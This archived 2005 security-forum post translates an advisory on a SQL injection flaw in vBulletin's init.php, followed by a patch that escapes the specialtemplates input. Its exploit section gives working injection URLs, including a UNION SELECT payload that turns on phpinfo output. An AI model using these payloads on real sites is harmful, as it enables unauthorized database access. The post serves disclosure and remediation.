邪恶八进制信息安全团队技术讨论组's Archiver

hak_ban[HSG] 2005-1-3 13:29

[翻译]vBulletin init.php sql注射漏洞

翻译网站:[url]http://www.bnso.net[/url]
翻译:剑心[B.C.T]

漏洞概要:vBulletin是一款用Php写成的广泛使用的论坛程序。其中一个很重要的特色就是允许管理员动态的修改面板的样式。
如果Php的"magic_quotes_gpc"开关是关闭的话,vBulletin's init.php 存在一个sql注射漏洞。
漏洞提供:al3ndaleeb
漏洞细节:
漏洞利用:
[url]http://site/forum/global.php?specialtemplates=al3ndaleeb[/url]')
[url]http://site/forum/global.php?do=phpinfo&specialtemplates[/url][]=al3ndaleeb') UNION SELECT concat('options') as title,concat('a:4:{s:15:"templateversion";s:5:"3.0.3";s:12:"allowphpinfo";s:1:"1";s:10:"languageid";s:1:"1";s:7:"styleid";s:1:"1";}') as data/*
漏洞修补:
打开init.php文件寻找如下代码
$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplates) . "')
");
unset($specials, $specialtemplates);
替换成
if(!is_array($specialtemplates))
exit;

$specialtemplate = array();
foreach ($specialtemplates AS $arrykey => $arryval)
{
$specialtemplate[] = addslashes($specialtemplates["$arrykey"]);
}

$datastoretemp = $DB_site->query("
SELECT title, data
FROM " . TABLE_PREFIX . "datastore
WHERE title IN ('" . implode("', '", $specialtemplate) . "')
");
unset($specials, $specialtemplates, $specialtemplate);

页: [1]
© 1999-2008 EvilOctal Security Team